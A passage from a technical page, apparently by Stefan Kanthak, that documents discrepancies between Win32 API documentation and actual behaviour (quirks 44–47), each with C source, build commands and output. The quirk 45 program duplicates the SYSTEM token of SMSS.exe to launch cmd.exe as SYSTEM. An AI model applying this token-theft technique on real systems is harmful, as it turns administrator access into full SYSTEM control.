  7. Build the console application quirk44.exe a third time from the source file quirk44.c created in step 1., now with the preprocessor macro QUIRKS defined as 0:

    CL.EXE /DQUIRKS=0 quirk44.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk44.c
    quirk44.c(179) : warning C4090: 'function' : different 'const' qualifiers
    quirk44.c(208) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:advapi32.lib /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk44.exe
    quirk44.obj
  8. Execute the console application quirk44.exe a last time as Administrator to show its proper function:

    .\quirk44.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    Oops³: contrary to its documentation cited above, the Win32 function CreateProcessAsUser() also works with an empty STARTUPINFO structure and does not need its lpDesktop member set!
Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 45

The documentation for the CreateProcessWithTokenW() function states:
A handle to the primary token that represents a user. The handle must have the TOKEN_QUERY, TOKEN_DUPLICATE, and TOKEN_ASSIGN_PRIMARY access rights. For more information, see Access Rights for Access-Token Objects. […]

To get a primary token that represents the specified user, call the LogonUser function. Alternatively, you can call the DuplicateTokenEx function to convert an impersonation token into a primary token.

The highlighted parts are but wrong!

Demonstration

Perform the following 6 simple steps to show the (mis)behaviour.
  1. Create the text file quirk45.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    #include <tlhelp32.h>
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    const	STARTUPINFO	si = {sizeof(si)};
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	PROCESSENTRY32	pe /* = {sizeof(pe)} */;
    
    	PROCESS_INFORMATION	pi;
    
    	DWORD	dwError;
    	DWORD	dwProcessId = 0;
    	HANDLE	hSnapshot;
    	HANDLE	hToken;
    	HANDLE	hThread = GetCurrentThread();
    	HANDLE	hProcess = GetCurrentProcess();
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    		hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    
    		if (hSnapshot == INVALID_HANDLE_VALUE)
    			PrintConsole(hConsole,
    			             L"CreateToolhelp32Snapshot() returned error %lu\n",
    			             dwError = GetLastError());
    		else
    		{
    			pe.dwSize = sizeof(pe);
    
    			if (!Process32First(hSnapshot, &pe))
    				PrintConsole(hConsole,
    				             L"Process32First() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				do
    					if ((pe.th32ParentProcessID == 4)
    #if 0
    					 && (wmemcmp(pe.szExeFile, L"smss.exe", sizeof("smss.exe")) == 0))
    #else
    					 && (memcmp(pe.szExeFile, L"smss.exe", sizeof(L"smss.exe")) == 0))
    #endif
    						dwProcessId = pe.th32ProcessID;
    
    				while (Process32Next(hSnapshot, &pe));
    
    				dwError = GetLastError();
    
    				if (dwError != ERROR_NO_MORE_FILES)
    					PrintConsole(hConsole,
    					             L"Process32Next() returned error %lu\n",
    					             dwError);
    			}
    
    			if (!CloseHandle(hSnapshot))
    				PrintConsole(hConsole,
    				             L"CloseHandle() returned error %lu\n",
    				             GetLastError());
    		}
    
    		if (dwProcessId == 0)
    		{
    			PrintConsole(hConsole,
    			             L"Process \'SMSS.exe\' not found!\n");
    
    			dwError = ERROR_NOT_FOUND;
    		}
    		else
    		{
    			hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION,
    			                       FALSE,
    			                       dwProcessId);
    
    			if (hProcess == NULL)
    				PrintConsole(hConsole,
    				             L"OpenProcess() returned error %lu\n",
    				             dwError = GetLastError());
    			else
    			{
    				if (!OpenProcessToken(hProcess,
    #ifdef QUIRKS
    				                      TOKEN_DUPLICATE | TOKEN_QUERY,
    #else
    				                      TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY,
    #endif
    				                      &hToken))
    					PrintConsole(hConsole,
    					             L"OpenProcessToken() returned error %lu\n",
    					             dwError = GetLastError());
    				else
    				{
    					if (!ImpersonateLoggedOnUser(hToken))
    						PrintConsole(hConsole,
    						             L"ImpersonateLoggedOnUser() returned error %lu\n",
    						             dwError = GetLastError());
    					else
    					{
    #ifdef QUIRKS
    						if (!CloseHandle(hToken))
    							PrintConsole(hConsole,
    							             L"CloseHandle() returned error %lu\n",
    							             GetLastError());
    
    						if (!OpenThreadToken(hThread,
    						                     TOKEN_ALL_ACCESS,
    						                     FALSE,
    						                     &hToken))
    							PrintConsole(hConsole,
    							             L"OpenThreadToken() returned error %lu\n",
    							             dwError = GetLastError());
    #endif
    						else
    						{
    							if (!CreateProcessWithTokenW(hToken,
    							                             0,
    							                             L"C:\\Windows\\System32\\Cmd.exe",
    							                             (LPWSTR) NULL,
    							                             CREATE_DEFAULT_ERROR_MODE | CREATE_NEW_CONSOLE | CREATE_UNICODE_ENVIRONMENT,
    							                             (LPWSTR) NULL,
    							                             (LPCWSTR) NULL,
    							                             &si,
    							                             &pi))
    								PrintConsole(hConsole,
    								             L"CreateProcessWithTokenW() returned error %lu\n",
    								             dwError = GetLastError());
    							else
    							{
    								if (!CloseHandle(pi.hThread))
    									PrintConsole(hConsole,
    									             L"CloseHandle() returned error %lu\n",
    									             GetLastError());
    
    								if (!CloseHandle(pi.hProcess))
    									PrintConsole(hConsole,
    									             L"CloseHandle() returned error %lu\n",
    									             GetLastError());
    							}
    						}
    
    						if (!RevertToSelf())
    							PrintConsole(hConsole,
    							             L"RevertToSelf() returned error %lu\n",
    							             dwError = GetLastError());
    					}
    
    					if (!CloseHandle(hToken))
    						PrintConsole(hConsole,
    						             L"CloseHandle() returned error %lu\n",
    						             GetLastError());
    				}
    
    				if (!CloseHandle(hProcess))
    					PrintConsole(hConsole,
    					             L"CloseHandle() returned error %lu\n",
    					             GetLastError());
    			}
    		}
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             dwError = GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk45.exe a first time from the source file quirk45.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:advapi32.lib /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk45.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk45.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk45.c
    quirk45.c(155) : warning C4090: 'function' : different 'const' qualifiers
    quirk45.c(46) : warning C4189: 'hThread' : local variable is initialized but not referenced
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:advapi32.lib /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk45.exe
    quirk45.obj
  3. Create the text file quirk45.exe.manifest with the following content next to the console application quirk45.exe built in step 2.:

    <?xml version='1.0' encoding='UTF-8' standalone='yes' ?>
    <!-- Copyright (C) 2004-2024, Stefan Kanthak -->
    <assembly manifestVersion='1.0' xmlns='urn:schemas-microsoft-com:asm.v1'>
        <assemblyIdentity name='Quirk45' processorArchitecture='*' type='win32' version='0.8.1.5' />
        <description>Quirk45 Console Application</description>
        <trustInfo xmlns='urn:schemas-microsoft-com:asm.v2'>
            <security>
                <requestedPrivileges>
                    <requestedExecutionLevel level='requireAdministrator' uiAccess='false' />
                </requestedPrivileges>
            </security>
        </trustInfo>
    </assembly>
  4. Execute the console application quirk45.exe as Administrator:

    .\quirk45.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    CreateProcessWithTokenW() returned error 5
    
    0x5 (WIN32: 5 ERROR_ACCESS_DENIED) -- 5 (5)
    Error message text: Access denied.
    CertUtil: -error command completed successfully.
    OUCH: contrary to its documentation cited above, the Win32 function CreateProcessWithTokenW() fails with Win32 error code 5 alias ERROR_ACCESS_DENIED although the access token is properly opened with TOKEN_ASSIGN_PRIMARY, TOKEN_DUPLICATE and TOKEN_QUERY_SOURCE access!
  5. Build the console application quirk45.exe a second time from the source file quirk45.c created in step 1., now with the preprocessor macro QUIRKS defined:

    CL.EXE /DQUIRKS quirk45.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk45.c
    quirk45.c(155) : warning C4090: 'function' : different 'const' qualifiers
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:advapi32.lib /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk45.exe
    quirk45.obj
  6. Execute the console application quirk45.exe again as Administrator:

    .\quirk45.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
    Error message text: The operation completed successfully.
    CertUtil: -error command completed successfully.
    Oops: contrary to its documentation cited above, the Win32 function CreateProcessWithTokenW() does not need to be called with a primary token, it but accepts an impersonation token as well!
Note: the repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.

Quirk № 46

The Win32 function GetOverlappedResult() and the OVERLAPPED structure are documented in the MSDN as follows:
Retrieves the results of an overlapped operation on the specified file, named pipe, or communications device. […]
BOOL GetOverlappedResult(
    HANDLE       hFile,
    LPOVERLAPPED lpOverlapped,
    LPDWORD      lpNumberOfBytesTransferred,
    BOOL         bWait
)
[…]

hFile

A handle to the file, named pipe, or communications device. […]

If the function succeeds, the return value is nonzero.

If the function fails, the return value is zero. To get extended error information, call GetLastError.

Members

Internal

The status code for the I/O request. When the request is issued, the system sets this member to STATUS_PENDING to indicate that the operation has not yet started. When the request is completed, the system sets this member to the status code for the completed request.

InternalHigh

The number of bytes transferred for the I/O request. The system sets this member if the request is completed without errors.

[…]

hEvent

A handle to the event that will be set to a signaled state by the system when the operation has completed. The user must initialize this member either to zero or a valid event handle using the CreateEvent function before passing this structure to any overlapped functions. This event can then be used to synchronize simultaneous I/O requests for a device. […]

Note: status code means NTSTATUS code.

Demonstration

Perform the following 7 simple steps to show the (mis)behaviour.
  1. Create the text file quirk46.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    #define STRICT
    #define UNICODE
    #define WIN32_LEAN_AND_MEAN
    
    #include <windows.h>
    
    #define STATUS_SUCCESS			0x00000000
    #define STATUS_WAIT_1			0x00000001
    #define STATUS_WAIT_2			0x00000002
    #define STATUS_WAIT_3			0x00000003
    #define STATUS_WAIT_63			0x0000003F
    #define STATUS_ABANDONED_WAIT_63	0x000000BF
    #define STATUS_ALREADY_COMPLETE		0x000000FF
    #define STATUS_OBJECT_NAME_EXISTS	0x40000000
    #define STATUS_THREAD_WAS_SUSPENDED	0x40000001
    #define STATUS_BUFFER_OVERFLOW		0x80000005
    #define STATUS_NO_MORE_FILES		0x80000006
    #define STATUS_UNSUCCESSFUL		0xC0000001
    #define STATUS_NOT_IMPLEMENTED		0xC0000002
    #define STATUS_INVALID_INFO_CLASS	0xC0000003
    
    const	LONG	ntStatus[] = {STATUS_WAIT_0,
    			      STATUS_WAIT_1,
    			      STATUS_WAIT_2,
    			      STATUS_WAIT_3,
    			      STATUS_WAIT_63,
    			      STATUS_ABANDONED_WAIT_0,
    			      STATUS_ABANDONED_WAIT_63,
    			      STATUS_USER_APC,
    			      STATUS_ALREADY_COMPLETE,
    			      STATUS_TIMEOUT,
    			      STATUS_PENDING,
    			      DBG_EXCEPTION_HANDLED,
    			      DBG_CONTINUE,
    			      STATUS_OBJECT_NAME_EXISTS,
    			      STATUS_THREAD_WAS_SUSPENDED,
    		              STATUS_SEGMENT_NOTIFICATION,
    			      0x80000000,
    			      STATUS_GUARD_PAGE_VIOLATION,
    			      STATUS_DATATYPE_MISALIGNMENT,
    			      STATUS_BREAKPOINT,
    			      STATUS_SINGLE_STEP,
    			      STATUS_BUFFER_OVERFLOW,
    			      STATUS_NO_MORE_FILES,
    			      DBG_EXCEPTION_NOT_HANDLED,
    			      0xC0000000,
    			      STATUS_UNSUCCESSFUL,
    			      STATUS_NOT_IMPLEMENTED,
    			      STATUS_INVALID_INFO_CLASS,
    		              STATUS_ACCESS_VIOLATION,
    		              STATUS_IN_PAGE_ERROR,
    		              STATUS_INVALID_HANDLE,
    		              STATUS_INVALID_PARAMETER,
    		              STATUS_DLL_NOT_FOUND,
    		              STATUS_ORDINAL_NOT_FOUND,
    		              STATUS_ENTRYPOINT_NOT_FOUND,
    		              STATUS_CONTROL_C_EXIT,
    		              STATUS_DLL_INIT_FAILED,
    			      STATUS_STACK_BUFFER_OVERRUN,
    		              STATUS_INVALID_CRUNTIME_PARAMETER,
    		              STATUS_ASSERTION_FAILURE,
    			      STATUS_SXS_EARLY_DEACTIVATION,
    			      STATUS_SXS_INVALID_DEACTIVATION};
    
    __declspec(safebuffers)
    BOOL	CDECL	PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
    {
    	WCHAR	szOutput[1024];
    	DWORD	dwOutput;
    	DWORD	dwConsole;
    
    	va_list	vaInput;
    	va_start(vaInput, lpFormat);
    
    	dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
    
    	va_end(vaInput);
    
    	if (dwOutput == 0)
    		return FALSE;
    
    	if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
    		return FALSE;
    
    	return dwConsole == dwOutput;
    }
    
    __declspec(noreturn)
    VOID	CDECL	wmainCRTStartup(VOID)
    {
    	OVERLAPPED	overlapped = {STATUS_PENDING /*, 0, {0, 0}, (HANDLE) NULL */};
    
    	DWORD	dwBytes;
    	DWORD	dwError = ERROR_SUCCESS;
    	DWORD	dwIndex = 0;
    	HANDLE	hConsole = GetStdHandle(STD_ERROR_HANDLE);
    
    	if (hConsole == INVALID_HANDLE_VALUE)
    		dwError = GetLastError();
    	else
    	{
    	//	overlapped.Internal = STATUS_PENDING;
    #ifndef QUIRKS
    		if (!GetOverlappedResult((HANDLE) NULL, &overlapped, &dwBytes, TRUE))
    #elif QUIRKS == 1
    		if (!GetOverlappedResult(INVALID_HANDLE_VALUE, &overlapped, &dwBytes, TRUE))
    #elif QUIRKS == 2
    		overlapped.hEvent = INVALID_HANDLE_VALUE;
    
    		if (!GetOverlappedResult((HANDLE) NULL, &overlapped, &dwBytes, TRUE))
    #elif QUIRKS == 3
    		overlapped.hEvent = INVALID_HANDLE_VALUE;
    
    		if (!GetOverlappedResult(INVALID_HANDLE_VALUE, &overlapped, &dwBytes, TRUE))
    #endif // QUIRKS
    			PrintConsole(hConsole,
    			             L"GetOverlappedResult() returned error %lu\n",
    			             dwError = GetLastError());
    
    		do
    		{
    			overlapped.Internal = ntStatus[dwIndex];
    
    			if (!GetOverlappedResult(INVALID_HANDLE_VALUE, &overlapped, &dwBytes, FALSE))
    				PrintConsole(hConsole,
    				             L"GetOverlappedResult() returned error %lu for NTSTATUS 0x%08lX\n",
    				             GetLastError(), overlapped.Internal);
    			else
    				PrintConsole(hConsole,
    				             L"GetOverlappedResult() succeeded for NTSTATUS 0x%08lX\n",
    				             overlapped.Internal);
    		}
    		while (++dwIndex < sizeof(ntStatus) / sizeof(*ntStatus));
    
    		if (!CloseHandle(hConsole))
    			PrintConsole(hConsole,
    			             L"CloseHandle() returned error %lu\n",
    			             GetLastError());
    	}
    
    	ExitProcess(dwError);
    }
  2. Build the console application quirk46.exe from the source file quirk46.c created in step 1.:

    SET CL=/GAFy /Oisy /W4 /Zl
    SET LINK=/DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    CL.EXE quirk46.c
    For details and reference see the MSDN articles Compiler Options and Linker Options.

    Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.

    Note: quirk46.exe is a pure Win32 console application and builds without the MSVCRT libraries.

    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk46.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk46.exe
    quirk46.obj
  3. Execute the console application quirk46.exe built in step 2. to demonstrate the (mis)behaviour:

    .\quirk46.exe
    CERTUTIL.EXE /ERROR %ERRORLEVEL%
    GetOverlappedResult() returned error 6
    GetOverlappedResult() succeeded for NTSTATUS 0x00000000
    GetOverlappedResult() succeeded for NTSTATUS 0x00000001
    GetOverlappedResult() succeeded for NTSTATUS 0x00000002
    GetOverlappedResult() succeeded for NTSTATUS 0x00000003
    GetOverlappedResult() succeeded for NTSTATUS 0x0000003F
    GetOverlappedResult() succeeded for NTSTATUS 0x00000080
    GetOverlappedResult() succeeded for NTSTATUS 0x000000BF
    GetOverlappedResult() succeeded for NTSTATUS 0x000000C0
    GetOverlappedResult() succeeded for NTSTATUS 0x000000FF
    GetOverlappedResult() succeeded for NTSTATUS 0x00000102
    GetOverlappedResult() returned error 996 for NTSTATUS 0x00000103
    GetOverlappedResult() succeeded for NTSTATUS 0x00010001
    GetOverlappedResult() succeeded for NTSTATUS 0x00010002
    GetOverlappedResult() succeeded for NTSTATUS 0x40000000
    GetOverlappedResult() succeeded for NTSTATUS 0x40000001
    GetOverlappedResult() succeeded for NTSTATUS 0x40000005
    GetOverlappedResult() returned error 317 for NTSTATUS 0x80000000
    GetOverlappedResult() returned error 2147483649 for NTSTATUS 0x80000001
    GetOverlappedResult() returned error 998 for NTSTATUS 0x80000002
    GetOverlappedResult() returned error 2147483651 for NTSTATUS 0x80000003
    GetOverlappedResult() returned error 2147483652 for NTSTATUS 0x80000004
    GetOverlappedResult() returned error 234 for NTSTATUS 0x80000005
    GetOverlappedResult() returned error 18 for NTSTATUS 0x80000006
    GetOverlappedResult() returned error 688 for NTSTATUS 0x80010001
    GetOverlappedResult() returned error 317 for NTSTATUS 0xC0000000
    GetOverlappedResult() returned error 31 for NTSTATUS 0xC0000001
    GetOverlappedResult() returned error 1 for NTSTATUS 0xC0000002
    GetOverlappedResult() returned error 87 for NTSTATUS 0xC0000003
    GetOverlappedResult() returned error 998 for NTSTATUS 0xC0000005
    GetOverlappedResult() returned error 999 for NTSTATUS 0xC0000006
    GetOverlappedResult() returned error 6 for NTSTATUS 0xC0000008
    GetOverlappedResult() returned error 87 for NTSTATUS 0xC000000D
    GetOverlappedResult() returned error 126 for NTSTATUS 0xC0000135
    GetOverlappedResult() returned error 182 for NTSTATUS 0xC0000138
    GetOverlappedResult() returned error 127 for NTSTATUS 0xC0000139
    GetOverlappedResult() returned error 572 for NTSTATUS 0xC000013A
    GetOverlappedResult() returned error 1114 for NTSTATUS 0xC0000142
    GetOverlappedResult() returned error 1282 for NTSTATUS 0xC0000409
    GetOverlappedResult() returned error 1288 for NTSTATUS 0xC0000417
    GetOverlappedResult() returned error 668 for NTSTATUS 0xC0000420
    GetOverlappedResult() returned error 14084 for NTSTATUS 0xC015000F
    GetOverlappedResult() returned error 14085 for NTSTATUS 0xC0150010
    
    0x6 (WIN32: 6 ERROR_INVALID_HANDLE) -- 6 (6)
    Error message text: The handle is invalid.
    CertUtil: -error command completed successfully.
    Note: the GetOverlappedResult() function fails with Win32 error code 6 alias ERROR_INVALID_HANDLE if its hFile argument is NULL, its bWait argument is TRUE, the Internal member of the OVERLAPPED structure pointed to by the lpOverlapped argument is STATUS_PENDING and the hEvent member is NULL!

    Note: the hFile argument of the GetOverlappedResult() function can be INVALID_HANDLE_VALUE or NULL if the bWait argument is FALSE or the Internal member of the OVERLAPPED structure pointed to by the lpOverlapped argument is not STATUS_PENDING!

    OUCH: contrary to its documentation cited above, the GetOverlappedResult() function succeeds if the Internal member of the OVERLAPPED structure pointed to by the lpOverlapped argument is (for example) 0x00000001 alias STATUS_WAIT_1, 0x00000002 alias STATUS_WAIT_2, 0x00000003 alias STATUS_WAIT_3, 0x0000003F alias STATUS_WAIT_63, 0x00000080 alias STATUS_ABANDONED_WAIT_0, 0x000000BF alias STATUS_ABANDONED_WAIT_63, 0x000000C0 alias STATUS_USER_APC, 0x00010001 alias DBG_EXCEPTION_HANDLED, 0x00010002 alias DBG_CONTINUE, 0x40000000 alias STATUS_OBJECT_NAME_EXISTS, 0x40000001 alias STATUS_THREAD_WAS_SUSPENDED or 0x40000005 alias STATUS_SEGMENT_NOTIFICATION; these 12 NTSTATUS codes correspond to the Win32 error codes 731 alias ERROR_WAIT_1, 732 alias ERROR_WAIT_2, 733 alias ERROR_WAIT_3, 734 alias ERROR_WAIT_63, 735 alias ERROR_ABANDONED_WAIT_0, 736 alias ERROR_ABANDONED_WAIT_63, 737 alias ERROR_USER_APC, 258 alias WAIT_TIMEOUT, 766 alias ERROR_DBG_EXCEPTION_HANDLED, 767 alias ERROR_DBG_CONTINUE, 698 alias ERROR_OBJECT_NAME_EXISTS, 699 alias ERROR_THREAD_WAS_SUSPENDED respectively 702 alias ERROR_SEGMENT_NOTIFICATION!

  4. Build the console application quirk46.exe a second time from the source file quirk46.c created in step 1., now with the preprocessor macro QUIRKS defined as 1:

    CL.EXE /DQUIRKS=1 quirk46.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk46.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk46.exe
    quirk46.obj
  5. Execute the console application quirk46.exe built in step 4. to demonstrate the (mis)behaviour:

    .\quirk46.exe
    OUCH: if its hFile argument is INVALID_HANDLE_VALUE, its bWait argument is TRUE and the Internal member of the OVERLAPPED structure pointed to by the lpOverlapped argument is STATUS_PENDING, the GetOverlappedResult() function waits infinitely instead to fail with Win32 error code 6 alias ERROR_INVALID_HANDLE or Win32 error code 87 alias ERROR_INVALID_PARAMETER!
  6. Build the console application quirk46.exe a third time from the source file quirk46.c created in step 1., now with the preprocessor macro QUIRKS defined as 2:

    CL.EXE /DQUIRKS=2 quirk46.c
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk46.c
    
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    /DEFAULTLIB:kernel32.lib /DEFAULTLIB:user32.lib /ENTRY:wmainCRTStartup /SUBSYSTEM:CONSOLE
    /out:quirk46.exe
    quirk46.obj
  7. Execute the console application quirk46.exe built in step 6. to demonstrate the (mis)behaviour:

    .\quirk46.exe
    OUCH: if its hFile argument is NULL, its bWait argument is TRUE, the Internal member of the OVERLAPPED structure pointed to by the lpOverlapped argument is STATUS_PENDING and the hEvent member is INVALID_HANDLE_VALUE, the GetOverlappedResult() function waits infinitely instead to fail with Win32 error code 6 alias ERROR_INVALID_HANDLE or Win32 error code 87 alias ERROR_INVALID_PARAMETER!
Note: evaluation of the (mis)behaviour of the GetOverlappedResultEx() function is left as an exercise to the reader!

Quirk № 47

Demonstration

Perform the following 5 simple steps to show the (mis)behaviour.
  1. Create the text file quirk47.c with the following content in an arbitrary, preferable empty directory:

    // Copyright © 2004-2024, Stefan Kanthak <‍stefan‍.‍kanthak‍@‍nexgo‍.‍de‍>
    
    static	long	bss;
    static	long	data = 'DATA';
    const	long	rdata = 'VOID';
    
    long	mainCRTStartup(void)
    {
    	return bss = data = rdata;
    }
  2. Compile the source file quirk47.c created in step 1. to generate the object file quirk47.obj, then enumerate the names and sizes of its sections:

    CL.EXE /c /Gz /W4 /Zl quirk47.c
    LINK.EXE /DUMP quirk47.obj
    Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    quirk47.c
    
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    
    Dump of file quirk47.obj
    
    File Type: COFF OBJECT
    
      Summary
    
               4 .bss
               4 .data
              74 .debug$S
               3 .drectve
               4 .rdata
              20 .text
    Note: the compiler puts uninitialised static variables in the .bss section, initialised static variables in the .data section, and constants in the .rdata section.
  3. Link the object file quirk47.obj created in step 1. to generate the executable image file quirk47.exe, using the undocumented /TEST linker option, then enumerate its sections:

    LINK.EXE /LINK /ENTRY:mainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /TEST quirk47.obj
    LINK.EXE /DUMP quirk47.exe
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    LINK : file alignment: 512, section alignment: 4096
    LINK : section '.sdata' (C0000040) merged into '.data' (C0000040)
    LINK : section '.xdata' (40000040) merged into '.rdata' (40000040)
    
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    
    Dump of file quirk47.exe
    
    File Type: EXECUTABLE IMAGE
    
      Summary
    
            1000 .data
            1000 .rdata
            1000 .reloc
            1000 .text
    Oops: the linker merges the .bss section into the .data section, but fails to print the corresponding message!
  4. Link the object file quirk47.obj created in step 1. a second time to generate the executable image file quirk47.exe, now merging the .bss section into the .quirk section, the .sdata section into the .static section and the .xdata section into the .xcept section, again using the undocumented /TEST linker option, then enumerate its headers and give the 3 sections their original names:

    LINK.EXE /LINK /BREPRO /ENTRY:mainCRTStartup /MERGE:.bss=.quirk /MERGE:.sdata=.static /MERGE:.xdata=.xcept /NODEFAULTLIB /SUBSYSTEM:CONSOLE /TEST quirk47.obj
    LINK.EXE /DUMP /HEADERS quirk47.exe
    LINK.EXE /EDIT /SECTION:.quirk=.bss /SECTION:.static=.sdata /SECTION:.xcept=.xdata quirk47.exe
    Microsoft (R) Incremental Linker Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    LINK : file alignment: 512, section alignment: 4096
    LINK : section '.bss' (C0000080) merged into '.quirk' (C0000080)
    LINK : section '.sdata' (C0000040) merged into '.static' (C0000040)
    LINK : section '.xdata' (40000040) merged into '.xcept' (40000040)
    LINK : warning LNK4253: section '.sdata' not merged into '.data';  already merged into '.static'
    LINK : warning LNK4253: section '.xdata' not merged into '.rdata';  already merged into '.xcept'
    
    Microsoft (R) COFF/PE Dumper Version 10.00.40219.386
    Copyright (C) Microsoft Corporation.  All rights reserved.
    
    
    Dump of file quirk47.exe
    
    PE signature found
    
    File Type: EXECUTABLE IMAGE
    
    FILE HEADER VALUES
                 14C machine (x86)
                   5 number of sections
            FFFFFFFF time date stamp Sun Feb 07 07:28:15 2106
                   0 file pointer to symbol table
                   0 number of symbols
                  E0 size of optional header
                 102 characteristics
                       Executable
                       32 bit word machine
    
    OPTIONAL HEADER VALUES
                 10B magic # (PE32)
               10.00 linker version
                 200 size of code
                 600 size of initialized data
                 200 size of uninitialized data
                1000 entry point (00401000)
                1000 base of code
                2000 base of data
              400000 image base (00400000 to 00405FFF)
                1000 section alignment
                 200 file alignment
                5.01 operating system version
                0.00 image version
                5.01 subsystem version
                   0 Win32 version
                6000 size of image
                 400 size of headers
                   0 checksum
                   3 subsystem (Windows CUI)
                8540 DLL characteristics
                       Dynamic base
                       NX compatible
                       No structured exception handler
                       Terminal Server Aware
              100000 size of stack reserve
                1000 size of stack commit
              100000 size of heap reserve
                1000 size of heap commit
                   0 loader flags
                  10 number of directories
                   0 [       0] RVA [size] of Export Directory
                   0 [       0] RVA [size] of Import Directory
                   0 [       0] RVA [size] of Resource Directory
                   0 [       0] RVA [size] of Exception Directory
